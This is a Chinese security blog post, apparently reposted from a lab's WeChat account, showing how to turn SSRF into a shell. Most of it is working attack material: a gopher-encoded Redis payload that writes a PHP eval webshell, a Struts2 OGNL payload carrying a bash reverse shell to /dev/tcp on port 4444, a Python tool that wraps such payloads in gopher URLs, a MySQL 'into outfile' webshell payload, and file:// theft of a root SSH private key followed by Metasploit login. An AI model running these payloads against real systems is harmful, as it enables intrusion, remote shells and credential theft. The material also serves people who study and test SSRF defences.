本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
服务端请求伪造(Server-Side Request Forgery)简写SSRF,是一种攻击者构造特殊的请求,由服务端发起请求的安全漏洞。下图简单示例:
SSRF漏洞原理
Web程序如果需要在其他服务器获取一些数据比如远程加载图片、远程获取文件等,就需要指定URL加载其他服务器的资料链接,如果加载远程链接用户可控,价值WEB程序对于远程加载的URL未做过滤和限制,导致服务器可以随便加载任意服务器的数据,从而导致SSRF漏洞产生。从上文中的示例图中可以看到SSRF的实质就是代理服务器,把攻击者A访问服务器B的数据经过存在SSRF漏洞的服务器A转发到服务器B。说到这里,熟悉内网渗透的同学就会想到代理隧道,如果服务器B无法访问,可以借助代理访问服务器B,这里的代理服务器就是服务器A。所以说SSRF的攻击目标一般也是外网无法访问的内部系统,攻击者可以利用SSRF漏洞获取内部系统一些信息,甚至在某些条件的情况下可以获取到服务器的权限,本文将会对SSRF获取SHELL的几种姿势做简单的说明。
初始SSRF ,PHP源文件如下:
if
(
isset
($_GET[
'url'
])) {
//接收URL如果不做过滤就会导致SSRF漏洞
$ch = curl_init();
#echo $_GET['url'];
curl_setopt($ch, CURLOPT_URL, $_GET[
'url'
]);
curl_setopt($ch, CURLOPT_HEADER,
0
);
$content=curl_exec($ch);
echo
$content;
curl_close($ch);
}
上面的PHP代码前端传进来的url参数,后台直接获取URL参数并调用curl_exec()进行了请求,然后将请求的结果返回给前端。根据官方的解释PHP中curl_exec()函数是执行一个CURL会话。请求URL看一下效果
http:
//172.20.92.162:81/ssrf2.php?url=http://www.baidu.com
PHP启用curl需要在php.ini文件中开启curl,在php.ini文件中去掉;就可以支持curl。
;extension=php_curl.dll
###去掉;就可以支持curl
也可也通过phpinfo中cURL support可以看到是否支持cURL,这里可以看到是enabled。
通过phpinfo也可以看到CURL支持的协议:
dict, file, ftp, ftps, gopher, http, https, imap, imaps, ldap, ldaps, pop3, pop3s, rtmp, rtsp, smtp, smtps, telnet, tftp
Curl 支持的这些协议也是在curl_exec函数导致的ssrf可以利用的协议,在条件允许的情况下可以Getshell。其他函数下的SSRF file_get_contents()函数,访问URL
http:
/
/www.php.com:8080/test
.php?url=
file:
/
//
C:
/WINDOWS/system32/drivers/etc/hosts
$url = $_GET;
echo file_get_contents($url);//使用file协议读取本地文件,也可以远程访问一个url的页面
?>
fsockopen()函数也可以产生SSRF漏洞,这里不做赘述,以后的文章做详细的说明。Redis协议GetShell 如果网内有未授权的Redis服务器,可以利用SSRF利用操作Redis服务器获取Shell,下面以Redis服务器下写Webshell为例,大家都知道通过redis服务器协议webshell要经过下面的命令操作,将Redis的配置文件写到已知的网站路径下就可以写入WebShell。
set test "\n\n\n\n"
config set dir /var/www/html/
config set dbfilename shell.php
save
使用工具生成对应的EXP,这里工具推荐SpyD3r师傅的开源工具
https:
//github.com/tarunkant/Gopherus,
自行下载使用。
POC如下:
gopher
://127.0.0.1:6379/_
%2
A1
%0
D
%0
A
%248
%0
D
%0
Aflushall
%0
D
%0
A
%2
A3
%0
D
%0
A
%243
%0
D
%0
Aset
%0
D
%0
A
%241
%0
D
%0
A1
%0
D
%0
A
%2430
%0
D
%0
A
%0
A
%0
A
%3
C
%3
Fphp
%20
%40
eval
%28
%24
_POST
%5
Bcmd
%5
D
%29
%3
F
%3
E
%0
A
%0
A
%0
D
%0
A
%2
A4
%0
D
%0
A
%246
%0
D
%0
Aconfig
%0
D
%0
A
%243
%0
D
%0
Aset
%0
D
%0
A
%243
%0
D
%0
Adir
%0
D
%0
A
%2413
%0
D
%0
A/var/www/html
%0
D
%0
A
%2
A4
%0
D
%0
A
%246
%0
D
%0
Aconfig
%0
D
%0
A
%243
%0
D
%0
Aset
%0
D
%0
A
%2410
%0
D
%0
Adbfilename
%0
D
%0
A
%249
%0
D
%0
Ashell.php
%0
D
%0
A
%2
A1
%0
D
%0
A
%244
%0
D
%0
Asave
%0
D
%0
A
%0
A
URL解码之后的内容如下:
*1
$8
flushall
*3
$3
set
$1
1
$30
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
其实就是通过Gopher转发Redis协议的流量数据包,达到Redis未授权访问漏洞利用的效果,也可以利用Redis未授权访问漏洞写计划任务达到getshell的效果,值得注意的一点是,需要将上面的poc再次URL编码发送到服务器上即可执行成功。
使用蚁剑链接webshell,可以看到已经连接成功。
SSRF内网漏洞getshell,如果内网中存在其他弱点服务器,比如存在Struts2漏洞的服务器、Weblogic服务器等,可以将存在SSRF漏洞的服务器作为跳板机攻击其他内网服务器。Strus2漏洞的Payload如下:
POST /doUpload.action HTTP/
1.1
Host:
172.20
.92.162:
8080
Content-Length:
405
Cache-Control: max-age=
0
Upgrade-Insecure-Requests:
1
Origin: http:
//172.20.92.162:8080
Content-Type: %{(#nike=
'multipart/form-data'
).(#dm=
.
OgnlContext@
DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[
'com.opensymphony.xwork2.ActionContext.container'
]).(#ognlUtil=#container.getInstance(
.opensymphony.xwork2.ognl.
OgnlUtil@
class
)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=
'bash -i >& /dev/tcp/172.20.92.162/4444 0>&1'
).(#iswin=(
.lang.
System@
getProperty(
'os.name'
).toLowerCase().contains(
'win'
))).(#cmds=(#iswin?{
'cmd.exe'
,
'/c'
,#cmd}:{
'/bin/bash'
,
'-c'
,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(
true
)).(#process=#p.start()).(#ros=(
.apache.struts2.
ServletActionContext@
getResponse().getOutputStream())).(
.apache.commons.io.
IOUtils@
copy(#process.getInputStream(),#ros)).(#ros.flush())}.multipart/form-
data
; boundary=----WebKitFormBoundaryopB7ldXmIArG3PDC
User-Agent: Mozilla/
5.0
(Windows NT
10.0
; Win64; x64) AppleWebKit/
537.36
(KHTML, like Gecko) Chrome/
116.0
.0.0 Safari/
537.36
Edg/
116.0
.1938.62
Accept: text/html,application/xhtml+xml,application/xml;q=
0.9
,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.20.92.162:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: csrftoken=9mBqZoTGP3TZD8JjflypYFUrrD8vkJx4vkT48wbotc9v8GxFisH1QZYDmh8jhT2f; JSESSIONID=1gpevokvbgk3b1rs8v1245zdzb
Connection: close
------WebKitFormBoundaryopB7ldXmIArG3PDC
Content-Disposition: form-data; name="upload"; filename="vk_swiftshader_icd.json"
Content-Type: application/json
{"file_format_version": "1.0.0", "ICD": {"library_path": ".\vk_swiftshader.dll", "api_version": "1.0.5"}}
------WebKitFormBoundaryopB7ldXmIArG3PDC
Content-Disposition: form-data; name="caption"
------WebKitFormBoundaryopB7ldXmIArG3PDC--
可能内网中通过HTTP协议漏洞利用的比较多,简单的先上个工具,方便以后在实战过程中利用。
import
argparse
import
re
from
urllib.parse
import
quote, unquote
def
get_data
(paylaod_path)
:
new_file=open(paylaod_path,
'r'
)
return
new_file.read().encode()
def
encode_url
(data)
:
encodeurl=quote(quote(data))
##URL编码
return
encodeurl
def
parse_payload_host
(payload_path)
:
payload_data=get_data(payload_path).decode()
host_pattern=re.search(
'nHOST:s+(.*)n'
,payload_data,re.I)
##解析host字段
return
host_pattern.groups()[
0
]
def
create_gopher
(target_url,payload_path)
:
host=parse_payload_host(payload_path)
ssrf_url=
"%sgopher://%s/_"
%(target_url,host)
payload_data=get_data(payload_path)
encode_url(payload_data)
result_payload=ssrf_url+encode_url(payload_data)
print(result_payload)
def
ssrf_file_encode
()
:
# 创建解析步骤
parser = argparse.ArgumentParser(description=
'ssrf 利用工具'
)
parser.add_argument(
'-f'
,
"--file"
, required=
True
,help=
'需要编码的payload文件地址'
)
parser.add_argument(
'-t'
,
"--target"
, required=
True
,help=
'ssrf漏洞地址'
)
# 解析参数步骤
args = parser.parse_args()
payload_file=args.file
target_url=args.target
create_gopher(target_url,payload_file)
if
__name__ ==
'__main__'
:
ssrf_file_encode()
使用方法-t输入存在SSRF漏洞的链接地址,-f 参数编码的文件如下:
python
ssrf_http_encdoe.py -t http://172.20.92.162:81/ssrf4.php?url= -f struts2_payload
运行后脚本会输出请求的payload
http
://172.20.92.162:81/ssrf4.php?url=gopher://172.20.92.162:8080/_POST
%2520
/doUpload.action
%2520
HTTP/1.1
%250
AHost
%253
A
%2520172
.20.92.162
%253
A8080
%250
AContent-Length
%253
A
%2520405
%250
ACache-Control
%253
A
%2520
max-age
%253
D0
%250
AUpgrade-Insecure-Requests
%253
A
%25201
%250
AOrigin
%253
A
%2520
http
%253
A//172.20.92.162
%253
A8080
%250
AContent-Type
%253
A
%2520
%2525
%257
B
%2528
%2523
nike
%253
D
%2527
multipart/form-data
%2527
%2529
.
%2528
%2523
dm
%253
D
%2540
ognl.OgnlContext
%2540
DEFAULT_MEMBER_ACCESS
%2529
.
%2528
%2523
_memberAccess
%253
F
%2528
%2523
_memberAccess
%253
D
%2523
dm
%2529
%253
A
%2528
%2528
%2523
container
%253
D
%2523
context
%255
B
%2527
com.opensymphony.xwork2.ActionContext.container
%2527
%255
D
%2529
.
%2528
%2523
ognlUtil
%253
D
%2523
container.getInstance
%2528
%2540
com.opensymphony.xwork2.ognl.OgnlUtil
%2540
class
%2529
%2529
.
%2528
%2523
ognlUtil.getExcludedPackageNames
%2528
%2529
.clear
%2528
%2529
%2529
.
%2528
%2523
ognlUtil.getExcludedClasses
%2528
%2529
.clear
%2528
%2529
%2529
.
%2528
%2523
context.setMemberAccess
%2528
%2523
dm
%2529
%2529
%2529
%2529
.
%2528
%2523
cmd
%253
D
%2527
bash
%2520
-i
%2520
%253
E
%2526
%2520
/dev/tcp/172.20.92.162/4444
%25200
%253
E
%25261
%2527
%2529
.
%2528
%2523
iswin
%253
D
%2528
%2540
java.lang.System
%2540
getProperty
%2528
%2527
os.name
%2527
%2529
.toLowerCase
%2528
%2529
.contains
%2528
%2527
win
%2527
%2529
%2529
%2529
.
%2528
%2523
cmds
%253
D
%2528
%2523
iswin
%253
F
%257
B
%2527
cmd.exe
%2527
%252
C
%2527
/c
%2527
%252
C
%2523
cmd
%257
D
%253
A
%257
B
%2527
/bin/bash
%2527
%252
C
%2527
-c
%2527
%252
C
%2523
cmd
%257
D
%2529
%2529
.
%2528
%2523
p
%253
Dnew
%2520
java.lang.ProcessBuilder
%2528
%2523
cmds
%2529
%2529
.
%2528
%2523
p.redirectErrorStream
%2528
true
%2529
%2529
.
%2528
%2523
process
%253
D
%2523
p.start
%2528
%2529
%2529
.
%2528
%2523
ros
%253
D
%2528
%2540
org.apache.struts2.ServletActionContext
%2540
getResponse
%2528
%2529
.getOutputStream
%2528
%2529
%2529
%2529
.
%2528
%2540
org.apache.commons.io.IOUtils
%2540
copy
%2528
%2523
process.getInputStream
%2528
%2529
%252
C
%2523
ros
%2529
%2529
.
%2528
%2523
ros.flush
%2528
%2529
%2529
%257
D.multipart/form-data
%253
B
%2520
boundary
%253
D----WebKitFormBoundaryopB7ldXmIArG3PDC
%250
AUser-Agent
%253
A
%2520
Mozilla/5.0
%2520
%2528
Windows
%2520
NT
%252010
.0
%253
B
%2520
Win64
%253
B
%2520
x64
%2529
%2520
AppleWebKit/537.36
%2520
%2528
KHTML
%252
C
%2520
like
%2520
Gecko
%2529
%2520
Chrome/116.0.0.0
%2520
Safari/537.36
%2520
Edg/116.0.1938.62
%250
AAccept
%253
A
%2520
text/html
%252
Capplication/xhtml
%252
Bxml
%252
Capplication/xml
%253
Bq
%253
D0.9
%252
Cimage/webp
%252
Cimage/apng
%252
C
%252
A/
%252
A
%253
Bq
%253
D0.8
%252
Capplication/signed-exchange
%253
Bv
%253
Db3
%253
Bq
%253
D0.7
%250
AReferer
%253
A
%2520
http
%253
A//172.20.92.162
%253
A8080/
%250
AAccept-Encoding
%253
A
%2520
gzip
%252
C
%2520
deflate
%250
AAccept-Language
%253
A
%2520
zh-CN
%252
Czh
%253
Bq
%253
D0.9
%252
Cen
%253
Bq
%253
D0.8
%252
Cen-GB
%253
Bq
%253
D0.7
%252
Cen-US
%253
Bq
%253
D0.6
%250
ACookie
%253
A
%2520
csrftoken
%253
D9mBqZoTGP3TZD8JjflypYFUrrD8vkJx4vkT48wbotc9v8GxFisH1QZYDmh8jhT2f
%253
B
%2520
JSESSIONID
%253
D1gpevokvbgk3b1rs8v1245zdzb
%250
AConnection
%253
A
%2520
close
%250
A
%250
A------WebKitFormBoundaryopB7ldXmIArG3PDC
%250
AContent-Disposition
%253
A
%2520
form-data
%253
B
%2520
name
%253
D
%2522
upload
%2522
%253
B
%2520
filename
%253
D
%2522
vk_swiftshader_icd.json
%2522
%250
AContent-Type
%253
A
%2520
application/json
%250
A
%250
A
%257
B
%2522
file_format_version
%2522
%253
A
%2520
%25221
.0.0
%2522
%252
C
%2520
%2522
ICD
%2522
%253
A
%2520
%257
B
%2522
library_path
%2522
%253
A
%2520
%2522
.
%255
C
%255
Cvk_swiftshader.dll
%2522
%252
C
%2520
%2522
api_version
%2522
%253
A
%2520
%25221
.0.5
%2522
%257
D
%257
D
%250
A------WebKitFormBoundaryopB7ldXmIArG3PDC
%250
AContent-Disposition
%253
A
%2520
form-data
%253
B
%2520
name
%253
D
%2522
caption
%2522
%250
A
%250
A
%250
A------WebKitFormBoundaryopB7ldXmIArG3PDC--
%250
A
在vps监听端口,将生成的payload放到burp中发送请求,发现已经shell已经反弹成功。
这里本来想要继续拓展一下,其实可以利用SSRF漏洞作为一个HTTP代理服务器实现对内网网站的访问,奈何篇幅有限,以后有机会上传github供各位师傅食用。
SSRF漏洞Mysql协议getshell,gopher协议也可以操作mysql,通过mysql协议写入webshell。一般是通过 into outfile 写入文件,我们知道在Mysql协议写入是要有一定的限制条件的,利用SSRF通过Mysql写入Webshell也需要一定的条件。
1.限制
mysql 免密登录
Mysql开启secure_file_priv,Mysql中secure_file_priv默认是NULL,是禁止导入导出的,需要将secure_file_priv值置为空。
curl版本大于7.49(可能会存在%00截断问题)
2.利用
Give MySQL username: root
Give query to
execute
:
select
""
into
outfile
"/var/www/html/shell.php"
生成的POC如下:
gopher:
//
127.0
.
0
.
1
:
3306
/
_
%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%52%45%51%55%45%53%54%5b%38%5d%29%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%22%01%00%00%00%01
这里面需要注意一点,cURL版本在7.35 上gopher协议存在bug(%00截断) 经测试7.49 可用,使用cURL可以测试生成Webshell的效果。
SSRF漏洞ssh私钥getshell,如果服务器存在SSH公钥,可以通过SSH获取SSH的公钥文件,文件路径在,/root/.ssh/id_rsa.pub,可以使用file协议获取,请求POC如下:
GET /ssrf4.php?url=file:///root/.ssh/id_rsa&code=utf-8 HTTP/1.1
Host: 172.20.92.162:81
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.62
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: csrftoken=9mBqZoTGP3TZD8JjflypYFUrrD8vkJx4vkT48wbotc9v8GxFisH1QZYDmh8jhT2f; JSESSIONID=1gpevokvbgk3b1rs8v1245zdzb
Connection: close
将获取到的私钥文件拷贝本地服务器的/opt/id_rsa文件内,使用msf的 auxiliary/scanner/ssh/ssh_login_pubkey模块,设置如下:
msf6
auxiliary(scanner/ssh/ssh_login_pubkey) > set username root
username
=
> root
msf6
auxiliary(scanner/ssh/ssh_login_pubkey) > set key_path /opt/id_rsa
key_path
=
> /opt/id_rsa
msf6
auxiliary(scanner/ssh/ssh_login_pubkey) > set rhosts 172.20.92.162
rhosts
=
> 172.20.92.162
msf6
auxiliary(scanner/ssh/ssh_login_pubkey) > set rport 1022
rport
=
> 1022
msf6
auxiliary(scanner/ssh/ssh_login_pubkey) > run
然后静等返回的session。
可以看到session已经获取成功,简答的执行命令。
https:
/
/www.cnblogs.com/lktop
/p/
13774088
.html
https:
/
/github.com/tarunkant
/Gopherus
原文始发于微信公众号(弥天安全实验室):【优质软文】不同协议下的SSRF如何获取GetShell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论